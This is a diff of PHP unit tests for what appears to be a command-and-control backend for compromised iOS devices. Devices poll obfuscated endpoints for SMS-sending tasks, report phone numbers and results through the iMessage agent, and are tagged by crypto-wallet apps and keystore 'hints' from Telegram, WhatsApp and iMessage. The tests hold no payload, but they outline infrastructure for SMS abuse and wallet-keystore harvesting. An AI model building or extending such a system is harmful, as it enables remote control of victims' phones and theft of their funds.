|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('+15550004444', $device->phone);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sms_poll_stores_phone_from_cardsinfo(): void
|
||||
{
|
||||
$this->xxbbPost('/m/t/g', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'bundleID' => 'imagent',
|
||||
'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550005555']],
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('+15550005555', $device->phone);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sms_report_does_not_use_dest_phone_as_device_phone(): void
|
||||
{
|
||||
$this->xxbbPost('/m/t/r', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'task_id' => 'task-dest-only',
|
||||
'phone' => '+15550006666',
|
||||
'msg' => 'sent',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->phone);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sms_poll_stores_phone_and_returns_empty_tasks(): void
|
||||
{
|
||||
$resp = $this->xxbbPost('/m/t/g', [
|
||||
'deviceID' => '000C30D83CD0402E',
|
||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
||||
'p' => '+15550001111',
|
||||
'bundleID' => 'imagent',
|
||||
'cardsinfo' => [['isSimPresent' => true, 'slotID' => 1]],
|
||||
]);
|
||||
$resp->assertOk();
|
||||
$this->assertSame('1786468227899{"code":1,"data":[]}', $resp->getContent());
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('+15550001111', $device->phone);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
|
||||
$this->assertSame(0, SmsReport::query()->count());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function sms_report_stores_task_event(): void
|
||||
{
|
||||
$this->xxbbPost('/m/t/r', [
|
||||
'd' => '000C30D83CD0402E',
|
||||
'task_id' => 'task-9',
|
||||
'phone' => '+15550003333',
|
||||
'p' => '+15550002222',
|
||||
'msg' => 'ok',
|
||||
's' => '1',
|
||||
])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('+15550002222', $device->phone);
|
||||
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
|
||||
$row = SmsReport::query()->where('device_id', $device->id)->first();
|
||||
$this->assertNotNull($row);
|
||||
$this->assertSame('000C30D83CD0402E', $row->device_key);
|
||||
$this->assertSame('task-9', $row->task_id);
|
||||
$this->assertSame('+15550003333', $row->dest_phone);
|
||||
$this->assertSame('+15550002222', $row->local_phone);
|
||||
$this->assertSame('ok', $row->msg);
|
||||
$this->assertSame('1', $row->status);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -15,6 +15,8 @@ class WalletSourceTest extends TestCase
|
||||
$this->assertTrue(WalletSource::isPluginWalletBundle('im.token.app'));
|
||||
$this->assertTrue(WalletSource::isPluginWalletBundle('com.tronlink.hdwallet'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle('ph.telegra.Telegraph'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle('net.whatsapp.WhatsApp'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle('imagent'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle('com.apple.mobilesafari'));
|
||||
$this->assertFalse(WalletSource::isPluginWalletBundle(''));
|
||||
}
|
||||
@@ -41,6 +43,9 @@ class WalletSourceTest extends TestCase
|
||||
$this->assertSame('imToken', WalletSource::fromKeystoreHint('imtoken'));
|
||||
$this->assertSame('Telegram', WalletSource::fromKeystoreHint('tg'));
|
||||
$this->assertSame('Telegram', WalletSource::fromKeystoreHint('Telegram'));
|
||||
$this->assertSame('WhatsApp', WalletSource::fromKeystoreHint('wp'));
|
||||
$this->assertSame('WhatsApp', WalletSource::fromKeystoreHint('whatsapp'));
|
||||
$this->assertSame('iMessage', WalletSource::fromKeystoreHint('sms'));
|
||||
$this->assertSame('', WalletSource::fromKeystoreHint('notes'));
|
||||
$this->assertSame('', WalletSource::fromKeystoreHint('not-a-wallet'));
|
||||
$this->assertSame('', WalletSource::fromKeystoreHint(''));
|
||||
|
||||
Reference in New Issue
Block a user